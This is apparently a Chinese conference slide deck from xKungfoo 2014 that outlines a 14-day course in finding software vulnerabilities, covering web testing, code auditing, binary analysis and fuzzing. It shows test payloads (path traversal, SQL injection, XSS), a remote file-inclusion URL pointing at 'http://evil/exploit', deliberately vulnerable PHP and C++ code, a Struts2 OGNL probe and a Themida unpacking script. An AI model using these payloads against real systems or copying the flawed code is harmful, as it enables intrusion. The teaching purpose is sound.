



14天学会漏洞挖掘

Vexs

Apr 16,17 2014 Shanghai

{xKungfoo 2014}




Introduction

- 会用Google ?
 - g.cn -> www.google.cn -> www.google.com.hk
 - google.com -> www.google.com.hk
 - VPN www.google.com (网页快照)
 - IP 74.125.128.13*
- 关键字 -> 分析结果 -> 重组关键字 -> 分析结果 -> ...-> 需要的结果 -> 被限制访问的页面 -> 访问网页快照 -> 得到需要的信息
 - 目标：找到没有直接在Google返回中的内容
- 为什么是14天 ?
 - 14天学会安卓开发/21天学通C++/21天学通Java/21天学通Linux C编程
 - Free 14 Day Trial
- 1988-2012 25 Years of Vulnerabilities Sourcefire



Tools or POC?





High Severity(SF)




Figure 7. Top vulnerability types with a high severity



Critical Severity(SF)




Figure 8. Top vulnerability types with a critical severity



Exploiting? NO!

- Structured Exception Handler Overwrite Protection (SEHOP)
- Data Execution Prevention (DEP)
- Heapspray Allocations
- Null page allocation
- Mandatory Address Space Layout Randomization (ASLR)
- Export Address Table Access Filtering (EAF)
- Bottom-up randomization
- ROP mitigations
- Attack Surface Reduction
- Advanced Mitigations for ROP and EAF
- Linux kernel Grsecurity SELinux AppArmor



Plan

• 第一周

- 第1天 (周一) : Web漏洞扫描
- 第2天 (周二) : Web手动测试
- 第3天 (周三) : Web代码分析
- 第4天 (周四) : 代码静态分析
- 第5天 (周五) : 代码编译分析
- 第6 ~ 7天 (周末) : 知识库

第二周

- 第8天 (周一) : 静态反编译分析
- 第9天 (周二) : 动态二进制调试分析
- 第10天 (周三) : Fuzzing协议和文件
- 第11天 (周四) : Fuzzing ActiveX
- 第12天 (周五) : POC实现
- 第13 ~ 14天 (周末) : 示例漏洞分析



第1天（周一）

- **Web漏洞扫描**

- Tomcat IIS Jsp ASPX PHP Apache MySQL 环境配置
- Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF)
- SQL Injection Code Execution File Inclusion CRLF Injection
 - DOM XSS Buffer Overflows
 - **OWASP Top 10** & CWE/SANS Top 25
 - 扫描器原理 返回信息
- Web漏洞扫描器自带的扫描数据文件和报告
 - 搭建漏洞测试环境 DVWA WebGoat
- 学习目标：扫描器优化配置+理解漏洞类型



Vulnerabilities

- + [Red Flag Icon] Authentication Bypass Using SQL Injection (2)
- + [Red Flag Icon] Blind SQL Injection (7)
- + [Red Flag Icon] Cross-Site Scripting (14)
- + [Red Flag Icon] DOM Based Cross-Site Scripting (3)
- + [Red Flag Icon] Format String Remote Command Execution (1)
- + [Red Flag Icon] Phishing Through URL Redirection (1)
- + [Red Flag Icon] Poison Null Byte Windows Files Retrieval (1)
- + [Red Flag Icon] Predictable Login Credentials (1)
- + [Red Flag Icon] SQL Injection (13)
- + [Red Flag Icon] Unencrypted Login Request (5)
- + [Yellow Flag Icon] Cross-Site Request Forgery (7)
- + [Yellow Flag Icon] Directory Listing (1)
- + [Yellow Flag Icon] Inadequate Account Lockout (1)
- + [Yellow Flag Icon] Link Injection (facilitates Cross-Site Request Forgery) (6)
- + [Yellow Flag Icon] Open Redirect (2)
- + [Yellow Flag Icon] Path Traversal (1)
- + [Yellow Flag Icon] Phishing Through Frames (6)
- + [Yellow Flag Icon] Session Identifier Not Updated (1)
- + [Yellow Flag Icon] XPath Injection (1)



第2天（周二）

- **Web手动测试**
 - 使用Burp Suite Pro动态修改数据
 - 提交测试数据
 - ../../../../../../../../../../../../../../../../../../
 - ../../../../../../../../../../../../../../../../../../
 - /**/or/**/1/**/=/**/1
 - /**/or/**/1/**/=/**/2
 - =><><script>alert('XSS')</script>
 - =><><ScRiPt>AlErT('XSS')</ScRiPt>
 - 人工观察判断返回信息
 - 《黑客攻防技术宝典：Web实战篇》
 - 漏洞测试环境 DVWA WebGoat
- 学习目标：理解 Payload



Testing

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeo...	Length	Comment
3	4002	200	<input type="checkbox"/>	<input type="checkbox"/>	138231	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	93435	baseline request
1	4000	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
2	4001	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
4	4003	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
5	4004	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
6	4005	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
7	4006	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
8	4007	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
9	4008	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
10	4009	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
11	4010	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	
12	4011	200	<input type="checkbox"/>	<input type="checkbox"/>	93435	

Request Response

Raw Headers Hex HTML Render

HTTP/1.1 200 OK
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Powered-By: Servlet/2.5 JSP/2.1
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 03 Mar 2014 02:44:39 GMT
Content-Length: 135801
Connection: close
Set-Cookie:



第3天（周三）

• Web代码分析

- 漏洞还是那些漏洞、ASP/ASPX/JSP/PHP源码角度跟踪数据传播
 - 解读函数/变量/参数到数据执行

```
<?php
• $lang = 'English';
• if ( isset( $_GET['LANG'] ) )
•     $lang = $_GET['LANG'];
•     require( $lang . '.php' );
•     ?>
• <form>
•     <select name="LANG">
•         <option value="eng">English</option>
•         <option value="cht">Traditional Chinese</option>
•     </select>
•     <input type="submit">
• </form>
```

/vulnerable.php?LANG=http://evil/exploit
/vulnerable.php?LANG=..\..\..\ftp\upload\exploit

- 漏洞测试环境 DVWA WebGoat + 源代码审计工具
 - 学习目标：理解数据传播污染 + 修复漏洞



Entry Point

Vulnerable Entry Point: /source.php

Variable Modification source.php

(tainted origin)

variable `$tainted` gets tainted by expression `"foo"` containing tainted

```
2: $tainted = $HTTP_GET_VARS["foo"];
```

Variable Modification source.php

variable `$my_var` gets tainted by previously tainted variable `$tainted`

```
3: $my_var = $tainted . "testing";
```

Function Entrance source.php

function `do_work` is invoked with previously tainted variable `$my_var`

```
6: do_work($x, $my_var);
```

Vulnerability Origin sink.php do_work

(vulnerable file)

The sensitive function `mysql_query` is invoked with tainted function parameter `$b` from Web

```
4: mysql_query("SELECT " . $a . " FROM " . $b);
```




第4天（周四）

- **C/C++ 代码纯静态分析**
- 不一样的漏洞、C/C++ 源码角度跟踪数据执行
 - 依靠外部的数据来控制行为的污染
- Buffer Overflow & Buffer Overflow: Format String & Buffer Overflow: Format String (%f/%F)
- Buffer Overflow: Off-by-One & Buffer Overflow: Signed Comparison
- Command Injection & Denial of Service & Format String & Illegal Pointer Value
- Integer Overflow & LDAP Injection & LDAP Manipulation & Log Forging
- Out-of-Bounds Read & Out-of-Bounds Read: Off-by-One
- Out-of-Bounds Read: Signed Comparison & Path Manipulation
- Process Control & Resource Injection & SQL Injection
- Setting Manipulation & String Termination Error
- String Termination Error(truncate) & Unsafe Reflection
- **Dangerous Function (Banned Functions) + 源代码审计工具**
 - 学习目标：理解缓冲区溢出和输入验证

Input Validation



vcpp/sample.cpp

```
10
11 Shell() {
12     char *cmd = new char[256];
13     const char *safe = "safe_program ";
14     int returnCode;
15     while (1) {
16         cout << "Enter command: ";
17         cin.getline(cmd, 256);
18         if (strcmp(cmd, safe) != 0) {
19             cout << "Unsafe command entered\n";
20             break;
21         }
22         returnCode = system(cmd);
23         cout << "Command returned " << returnCode << '\n';
24     }
25 }
26 };
27
28 int main() {
```

cmd
cmd
cmd
system

Scan Results

- High
- Command_Injection
- Medium

Results Graph

Graph Type: ☒ Full Graph ☐ Key Nodes ☐ Ends

Show related data flows ☐ Show not exploitable flows ☒

cmd
cmd



第5天（周五）

- C/C++ 代码编译分析
- 深入内存数据、静态代码翻译
 - 跟踪数据执行流程
- API usage errors & Code maintainability issues
- Control flow issues & Error handling issues
- Incorrect expression & Insecure data handling
- Integer handling issues & Memory - corruptions
- Memory - illegal accesses & Null pointer dereferences
- Performance inefficiencies & Program hangs & Resource leaks
- Security best practices violations & Uninitialized variables
- 漏洞测试 + 源代码审计工具
- 学习目标：内存破坏的问题



Flowgraph

```
Shell() {  
    char *cmd = new char[256];  
    const char *safe = "safe_program ";  
    int returnCode;  
    while (1) {  
        cout << "Enter command: ";  
        cin.getline(cmd, 256);  
        if (strncmp(cmd, safe, strlen(safe)) != 0) {  
            cout << "Unsafe command entered\n";  
            break;  
        }  
        returnCode = system(cmd);  
        cout << "Command returned " << returnCode << '\n';  
    }  
};
```

Summary Details Recommendations History Diagram Correlated Issues SecurityScope Deta..

sample.cpp:23 (Command Injection)

Shell.Shell

getline(0)

18

src

system(0)

23

sink



Analysis

11	Shell() {	
At (1): Storage is returned from allocation function "operator new[](std::size_t)".		
At (2): Assigning: "cmd" = storage returned from "new char[256U]".		
12	char *cmd = new char[256];	
13	const char *safe = "safe_program ";	
14	int returnCode;	
At (3): Condition "true /* 1 */", taking true branch		
15	while (1) {	
16	cout << "Enter command: ";	
At (4): Resource "cmd" is not freed or pointed-to in function "std::basic_istream<char, std::char_traits<char> >::getline(std::basic_istream<char, std::char_traits<char> >::char_type *, std::streamsize)".		
17	cin.getline(cmd, 256);	
At (5): Resource "cmd" is not freed or pointed-to in function "strncmp(char const *, char const *, size_t)".		
At (6): Condition "strncmp(cmd, safe, strlen(safe)) != 0", taking true branch		
18	if (strncmp(cmd, safe, strlen(safe)) != 0) {	
19	cout << "Unsafe command entered\n";	
At (7): Breaking from loop		
20	break;	
21	}	
22	returnCode = system(cmd);	
23	cout << "Command returned " << returnCode << '\n';	
24	}	
CID 10041: Resource leak (RESOURCE_LEAK)		
At (8): Variable "cmd" going out of scope leaks the storage it points to.		
25	}	
26	};	
27		
28	int main() {	
29	new Shell();	



Source Code Analysis Tools


- **AppsCan Source**
 - **Java**, JavaScript, JSP, ColdFusion, C, C++, Objective-C, .NET (C#, ASP.NET and VB.NET), Classic ASP (JavaScript/VBScript), PHP, Perl, VisualBasic 6, PL/SQL, T-SQL, SAP ABAP and COBOL
- **CodeSecure**
 - ASP.NET, VB.NET, C#, **Java/J2EE**, JSP, EJB, PHP, Classic ASP and VBScript
- **Checkmarx**
 - **Java**, C# / .NET, PHP, C, C++, Visual Basic 6.0, VB.NET, Flash, APEX, Ruby, Javascript, ASP, Perl, Android, Objective C, PL/SQL, HTML5.
- **Fortify**
 - ABAP/BSP, ActionScript/MXML, ASP.NET, VB.NET, C#(.NET), C/C++, Classic ASP, COBOL, CFML, HTML, **Java**, JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Visual Basic, VBScript, XML
- **Veracode**
 - **Java**, JSP, .NET- C#, .NET - VB.NET, ASP.NET, .NET - C++/CLI, C/C++, PHP, ColdFusion, iOS, Android, J2ME, Ruby, Classic ASP, VB6, VBScript, Flash (using Dynamic)
- **Coverity**
 - C/C++, **Java** and C#
- **Klocwork**
 - C/C++, C# , **Java**
- **Parasoft**
 - C/C++(C/C++test), **Java(Jtest)**, .NET(dotTEST)
- **CodeSonar**
 - C/C++, **Java**, and binaries



第6~7天（周末）

- 漏洞和代码安全知识库+练习
- vulncat teamMentor(VPN) AppSource(Software)
 - 开源软件源码更新版本Patchdiff
 - 危险函数/有漏洞历史的函数
- PHP/Java配置与权限 (Struts 2 & WebLogic)
 - C#/Java静态分析
 - C/C++编译分析
- 漏洞测试环境 Nginx源码 + 源代码审计工具
 - 学习目标：分析多种漏洞的共同性

PHP



Vulnerability

preg_replace Code Execution

The preg_replace API performs a search and replace. This API accepts a maximum of five arguments:

The \$pattern is used to search for matches in the \$subject and any matches are replaced with \$replacement.

The security concern is when the e modifier is used in the \$pattern argument. The e modifier causes the value in \$replacement to be executed as PHP code.

Example

PHP

```
<?php
preg_replace ("/(name\:\\s)(\\w+)/e", "'\\1'.strtolower('\\2')", $txt);
?>
```

Mitigation

If the e modifier must be used, verify that no user input is propagated to the \$replacement argument. An attacker could attempt to modify the \$replacement argument by injecting malicious PHP code into this argument. When the preg_replace API is executed, the attacker's code will also be executed.

References

[preg_replace](#) ▶

This article applies to findings with the following criteria:

API

__Php.preg_replace(mixed;mixed;mixed;int;int):mixed



Vulnerability

The application uses a method that requires input validation. The data this method retrieves comes from HTTP query headers that the client user can easily manipulate. Input validation is necessary to ensure the integrity of the dynamic data of the application. [Validation](#) is useful to protect against [cross-site scripting](#), [SQL Injection](#), [command injection](#) and corrupt application data fields.

Validate user input to match the expectations for that input field. For example, all date fields should be of the same format, which is published to the user. In addition, name fields and other text fields should be limited to an appropriate character set, no special characters, with expected minimum and maximum sizes.

```
final String sessionId = request.getHeader( "sessionId" );
final String sql = "Select * from Sessions where sessionId = ?";
final PreparedStatement ps = con.prepareStatement(sql);
ps.setString(1, sessionId);
ps.execute();
```

Please note that using dynamically generated SQL queries is another bad practice. Refer to vulnerability type [SQL Injection](#) for more detail.

```
// This class would simply associate parameter/header/cookie
//names with a data type, plus bounds for numeric data or a
//regular expression for text.
Validator validator = Validator.getInstance( this.getServletContext );
try
{
```

C++



- + snprintf
- sprintf
 - [-] sprintf Buffer Overflow
 - [-] sprintf Buffer Overflow
- [-] sscanf
- + strcadd
- + strcat
- + strcpy
- + strncpy
- [-] streadd
- [-] strecpy
- [-] strncat
- [-] strncpy
- [-] strtrns
- [-] strxfrm
- + swprintf
- [-] swscanf
- [-] ultoa
- + vfscanf
- [-] vfwscanf
- + vscanf
- [-] vsnprintf

Vulnerability

sprintf Buffer Overflow - High

sprintf is susceptible to destination buffer overflow because it does not know the length of the destination buffer and therefore cannot check to make sure it does not overwrite it. You should consider using snprintf() or vsnprintf(), which takes a length parameter. Those APIs are security risks as well although to a much lesser degree. If you must use sprintf, a small amount of security can be gained by using precision specifications with the %s format specifier to specify the maximum length of that format item. An example of that might be %.6s, which specifies a length of exactly 6 characters for that format item.

Example

C++

```
char str[20];
sprintf(str, "%s", userInput);
```

In this example, there is no way to know if the size of the user input will be less than the fixed 20 character buffer.

Example

C++

```
char str[20];
sprintf(str, "%.19s", userInput);
```

In this example, a fixed buffer is still used, but there is an attempt to ensure that no more data than can be stored by using a precision specifier in the format string is copied.

Example

C++

```
char str[20];
sprintf(str, "%.20s", userInput);
```





第8天（周一）

- 静态反编译分析

- 使用**IDA Pro**反汇编 + PatchDiff方法（Plugins + Scripts）
 - zynamics BinDiff 二进制补丁比较（Similarity）
 - BinNavi 汇编函数解析 函数执行流程 调试
 - .NET -> NET Reflector
 - Java Class -> Java Decompiler
 - D-Link Router Backdoor
- 2014年4月8日：Windows XP SP3支持结束（分析 Server 2003）
 - KBArticleNumber /X:C:\ExtractedPackage
- 学习目标：学会分析微软家族产品漏洞



PatchDiff







Variable

```
00039243  srv_original.sys::SrvIssueQueryDirectoryRequest(x,x,x,x,x,x,x,x)
00039243  push     0x34
00039245  push     stru_1DF78
0003924A  call     _SEH_prolog
0003924F  mov     eax, ss:[ebp+arg_10]
00039252  xor     edi, edi
00039254  cmp     eax, edi
00039256  jz      loc_392A1
```

Variables Calling Functions Register Tracking Special Instructions Code Bookmarks

- arg_0 (1)
 - 000392B6 push ss: [ebp + arg_0]
- arg_10 (1)
 - 0003924F mov eax, ss: [ebp + arg_10]
- arg_14 (1)
 - 000392D7 mov edx, ss: [ebp + arg_14]
- arg_18 (1)
 - 000392FF cmp byte ss: [ebp + arg_18], byte 0
- arg_1C (1)
 - 00039309 cmp byte ss: [ebp + arg_1C], byte 0
- arg_8 (2)
 - 00039263 mov ebx, ss: [ebp + arg_8]
 - 000392A1 mov eax, ss: [ebp + arg_8]

Execute

```
_text:08065890 return_append_str proc near
_text:08065890
_text:08065890 src = char* ptr 8
_text:08065890 s = char* ptr 12
_text:08065890 var_C = dword ptr -12
_text:08065890 var_8 = dword ptr -8
_text:08065890 var_4 = dword ptr -4
_text:08065890 sav$ = dword ptr 0
_text:08065890 return-addr$ = dword ptr 4
```

```
dd 0x26748D

_text:08065900
_text:08065900 loc_8065900:
_text:08065900 mov     dword [esp],edi
_text:08065903 call    __thunk_.strlen
_text:08065908 mov     dword [esp],eax
_text:0806590B call    __thunk_.malloc
```

▲ ▼ hide

Event 15: malloc() returns the address of a new object.

- This points to the buffer that will be overrun later.

```
_text:08065910 mov     dword [esp+4],edi
_text:08065914 lea     ebx, [eax+1]
_text:08065917 mov     dword [esp],ebx
_text:0806591A call    __thunk_.strcpy
```

Buffer Overrun

This code writes past the end of the buffer pointed to by strcpy:parameter_1.

- strcpy:parameter_1 evaluates to malloc() + 1 from gnuchess.lst:39954.
- strcpy() writes to the byte at an offset that is the length of the string pointed to by strcpy:parameter_2, plus 1 from the beginning of the buffer pointed to by strcpy:parameter_1.
 - The offset exceeds the capacity.
 - The length of the string pointed to by strcpy:parameter_2, plus 1 evaluates to the length of the string pointed to by s, plus 1, which is bounded below by 1. See related event [23](#).
 - The capacity of the buffer pointed to by strcpy:parameter_1, in bytes, is the length of the string pointed to by s, which is bounded below by 0. See related events [16](#) and [22](#).
- The overrun occurs in heap memory.

The issue can occur if the highlighted code executes.



第9天（周二）

- 动态二进制翻译/调试分析
 - 使用Windbg/ollydbg/EDB动态调试程序
 - Dynamic Binary Instrumentation
 - Pin/DrMemory/DynamoRIO/QEMU/Valgrind
- **Crash Dump文件分析(!exploitable Crash Analyzer)**
 - Kernel Memory Space Analyzer
 - MemSherlock + CBones
- **Unpack/UPX压缩壳**
 - StrongOD/Themida/Winlicense/VMProtect
- 学习目标：学会Windows/Linux平台下动态调试分析



Pin

```
/* ===== */
// Instrumentation callbacks
/* ===== */

// Pin calls this function every time a new rtn is executed
VOID Routine(RTN rtn, VOID *v)
{
    if (!RTN_IsDynamic(rtn))
    {
        return;
    }

    *out << "Just discovered " << RTN_Name(rtn) << endl;

    RTN_Open(rtn);

    // Insert a call at the entry point of a routine to increment the call count
    RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)RtnCallPrint, IARG_ADDRINT, RTN_Name
(rtn).c_str(), IARG_END);

    RTN_Close(rtn);
}
```

Unpack

```

1761 LABEL_036_01:
1762 cmp kill_dd, 0
1763 je LABEL_03b
1764 mov TM_WL, [esp]
1765 gmemi TM_WL, MEMORYBASE
1766 mov TM_WL, $RESULT
1767 find TM_WL, setevent
1768 cmp $RESULT, 0
1769 je TAO
1770 mov TM_WL_2, $RESULT
1771 log TM_WL_2
1772 //////////////////////////////////////////////////
1773 TAO:
1774 eval "(SCRIPTNAME) (L2)<LONG> (L1) (L2)
1775 msgyn $RESULT
1776 // msgyn "Update: Find VM OEP by LCF-A
1777 cmp $RESULT, 01
1778 jne NO_VM_OEP
1779 jmp YES_VM_OEP
1780 //////////////////////////////////////////////////
1781 NO_VM_OEP:
1782 cmp [esi], 52455355
1783 jne LABEL_03b
1784 eval "(SCRIPTNAME) (L2)<LONG> (L1) (L2)
1785 msgyn $RESULT
1786 // msgyn "Update: Patching eax With -1
1787 mov NO_SUB, $RESULT
1788 cmp NO_SUB, 00
1789 je RUM1
1790 mov eax, -1
1791 //////////////////////////////////////////////////
1792 RUM1:
1793 esto
1794 cmp NO_SUB, 00
1795 je RUM2
1796 mov eax, -1
1797 //////////////////////////////////////////////////
1798 RUM2:
1799 esto
1800 //////////////////////////////////////////////////
1801 LABEL_03b:
1802 BPHWC eip
1803 sti
1804 GMEMI eip, MEMORYBASE
1805 mov mbase, $RESULT
1806 /*
1807 Version Check!
1808 */
1809 cmp version_check, 0
1810 je NO_info_lock
1811 find mbase, #00063006D1C846#
1812 cmp $RESULT, 0
1813 jne NO_info_lock
1814 bphws native, "x"
1815 esto

```

```

"CISC VM is lo 7C8245B2 1
2A03000 2BF4F32?2FF7C
2B8FC25 2BF4F32
2A03000 2A03000
2A03000 7C822301 7C822301 7C822301
2B8FC25 2B8FC25
2B8FC25 2B8FC25

```

```

Themida - Win 7C8245B2 "LCF-AT" "*****" "J0J0" "J0J0" "J0" "J0J0" "++-----++
0

```

SG OdbgScript

Themida - Winlicense 1.x - 2.x Multi PRO Edition 1.2

Patching eax With -1 or not?

If yes and app does not run then press >>> NO <<< the next time!

Prevent DLL overwrite in WL section.SetEvent etc!

LCF-AT

是(Y) 否(N) 取消



第10天（周三）

- **Fuzzing协议和文件**
- 使用beSTORM测试通用协议（Fuzzer + Monitor）
 - 010 Editor + Peach Fuzzer
 - Browser Fuzzer
 - Browser fuzzing / NodeFuzz / Grinder
 - 802.XX/DNP3/MODBUS(SCADA)
- 学习目标：学会构造Payload来Fuzzing测试



detected vulnerabilities

```

0000 47 45 54 20 2F 20 48 GET / H
0007 54 54 50 2F 31 2E 31 TTP/1.1
000E 0D 0A 48 6F 73 74 3A Host:
0015 20 6C 6F 63 61 6C 68 localh
001C 6F 73 74 3A 38 30 0D ost:80
0023 0A 55 70 67 72 61 64 Upgrad
002A 65 3A 20 25 30 30 25 e: %00%
0031 30 30 25 30 30 25 30 00%00%0
0038 30 25 30 30 0D 0A 0D 0%00
003F 0A

```



41414141?

7C94BB3B > ^ 75 F0 JNE SHORT 7C94BB2D
7C94BB3D > 5D POP EBP
7C94BB3E > 5B POP EBX
7C94BB3F > C3 RETN
7C94BB40 > 90 NOP
7C94BB41 > \$ 53 PUSH EBX
7C94BB42 > 55 PUSH EBP
7C94BB43 > 8BE9 MOV EBP,ECX
7C94BB45 > 8B55 04 MOV EDX,DWORD PTR SS:[EBP+4]
7C94BB48 > 8B45 00 MOV EAX,DWORD PTR SS:[EBP]
7C94BB4B > 0BC0 OR EAX,EAX
7C94BB4D > 74 0C JZ SHORT 7C94BB5B
7C94BB4F > 8D4A FF LEA ECX,[EDX-1]
7C94BB52 > 8B18 MOV EBX,DWORD PTR DS:[EAX]
7C94BB54 > F0:0FC74D 00 LOCK CMPXCHGB QWORD PTR SS:[EBP]
7C94BB59 > ^ 75 EA JNE SHORT ExpInterlockedPopEntrySListF
7C94BB5B > 5D POP EBP
7C94BB5C > 5B POP EBX
7C94BB5D > C3 RETN

[41414141]=???
EBX=00940000

Registers (FPU)
EAX 41414141
ECX 09060000
EDX 09060001
EBX 00940000
ESP 0012DEA4
EBP 00940068
ESI 00940068
EDI 0000000A
EIP 7C94BB52 ntdll.ExpInterlocked
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FDD0000(4000)
T 0 GS 0000 NULL
D 0
O 0 LastErr 00000000 ERROR_SUCCE:
EFL 00010206 (NO,NB,NE,A,NS,PE,GE
ST0 empty 9.1776272051428278120e+
ST1 empty -1.9271619555410297840e+
ST2 empty -2.2222412222566927890e+

Address	Hex dump	0012DEA4	0012DEB4	0012DEB8
00414000	74 E8 40 00 00 00 00 00 2E 3F 41 56 74 7	0012DEA8 00940000	00940000	00940000
00414010	5F 69 6E 66 6F 40 40 00 00 00 00 00 00 0	0012DEAC 7C959F94	00940068	00940068
00414020	FF FF FF FF FF FF FF FE FF FF FF 01 0	0012DEB0 0012E0DC	0012E0DC	0012E0DC
00414030	E9 50 DE C8 16 AF 21 37 74 E8 40 00 00 0	0012DEB8 7C959F28	00940068	00940068
00414040	2E 3F 41 56 43 52 65 73 69 7A 65 61 62 6	0012DEBC 00000011	00000011	00000011
00414050	61 79 6F 75 74 40 40 00 74 E8 40 00 00 0	0012DEC0 78AB0283	003A82D0	003A82D0
00414060	2E 3F 41 56 43 44 69 61 6C 6F 67 40 40 0	0012DEC4 00000044	00000044	00000044
00414070	74 E8 40 00 00 00 00 00 2E 3F 41 56 43 5	0012DEC8 003A82D0	003A82D0	003A82D0
00414080	69 7A 65 61 62 6C 65 44 69 61 6C 6F 67 4	0012DECC 00000000	00000000	00000000
00414090	74 E8 40 00 00 00 00 00 2E 3F 41 56 43 4	0012DED0 00000000	00000000	00000000
004140A0	75 74 62 65 53 54 4F 52 4D 44 6C 67 40 4	0012DED4 71B623EC	71B6270F	71B6270F
004140B0	74 E8 40 00 00 00 00 00 2E 3F 41 56 43 5	0012DED8 003A3990	003A3990	003A3990
004140C0	68 45 64 69 74 43 74 72 6C 40 40 00 74 E			
004140D0	00 00 00 00 2E 3F 41 56 43 42 69 74 6D 6			
004140E0	75 74 74 65 65 40 40 00 74 E8 40 00 00 0			

Command :

Access violation when reading [41414141] - application was unable to process exception

Paused



第11天（周四）

- **Fuzzing ActiveX**
 - 浏览器Fuzzing难搞？
- 使用**ComRaider**解析ActiveX控件函数和自动Fuzzing测试
 - 不一定是**溢出**的漏洞
- 学习目标：学会分析浏览器调用ActiveX控件和Fuzzing测试



ActiveX

File	Result	Exceptions	Windows	ApiHits
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\159515...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\155268...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\109731...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\191437...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\153060...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\116356...	Caused Excepti...	1	0	0
C:\COMRaider\DBPOWERAMPLib\MultiPlayer\Enque\194446...	Caused Excepti...	1	0	0

Address	Exception	Module	Instruction
41414141	ACCESS_VIOL...		?????

Class	Caption

Api Log	
***** Installing Hooks *****	
458ef4	RegCreateKeyExA (HKCU\Software\Illustrate\dBpowerAMP_REG_SZ)
457175	CreateFileA(D:\DBPOWERAMP\Administrator.Enqueue)

Debug Strings



第12天（周五）

- **POC实现**
 - nc+ packet ? (MS12-20)
 - SQL Injection: SQL & Sqlmap
- Cross-Site Scripting (XSS) : HTML & URL
 - Code Execution : Command
- **Buffer Overflow: C/C++**
 - Perl : beSTORM
 - Ruby : Metasploit
- Python : CANVAS & CORE Impact & Exploit Pack
- 学习目标：学会写触发漏洞的代码

POC



Go Cancel < > Follow redirection

Target: http://192.168.1.107:8080

Request

Raw Params Headers Hex

GET /struts2-showcase/showcase.action?redirect:%25(3*4) HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: 192.168.1.107:8080
Cookie: JSESSIONID=54230775B159EE8B57BC2D497A0A93E4

? < + > Type a search term 0 matches

Response

Raw Headers Hex

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://192.168.1.107:8080/struts2-showcase/12
Content-Length: 0
Date: Mon, 10 Mar 2014 08:01:45 GMT

? < + > Type a search term 0 matches



第13 ~ 14天（周末）

- 示例漏洞分析

- nginx site:exploit-db.com
- apache site:exploit-db.com
- nginx site:packetstormsecurity.org
- apache site:packetstormsecurity.org
- Microsoft Security Bulletin

- 学习目标：分析示例漏洞为下一步漏洞利用打好基础



About

- 谢谢！
- 有问题吗？
 - Vexs = Vulnerability exploits
- <http://t.qq.com/security-focus> & vexs@x-bug.com
 - LSCSA Labs Creator
- LSCSA = Linux Source Code Security Analysis
 - DBAPPSecurity Security Service
 - [分子实验室]创建人
- 下一步是《14天学会漏洞利用》？



Security Research Labs

- **[分子实验室] 安全研究**

- 国内外信息安全标准化研究
- ISO/IEC ISMS SSE-CMM SP 800-30 CVE
- 信息安全风险评估规范、管理体系、风险管理研究
- Risk Assessment
- APT攻击和防御技术研究 Advanced Persistent Threat
- **网络自动化渗透测试技术研究** Penetration Testing
- **Web漏洞挖掘和利用技术研究** Web Security Vulnerabilities
- **源代码安全漏洞分析技术研究** Source Code Security Analysis
- **二进制代码漏洞挖掘技术研究** Binary Code Analysis
- 安全开发生命周期实践研究 Security Development Lifecycle (SDL)
- 应急响应和调查取证技术研究
- Emergency Response & Evidence Collection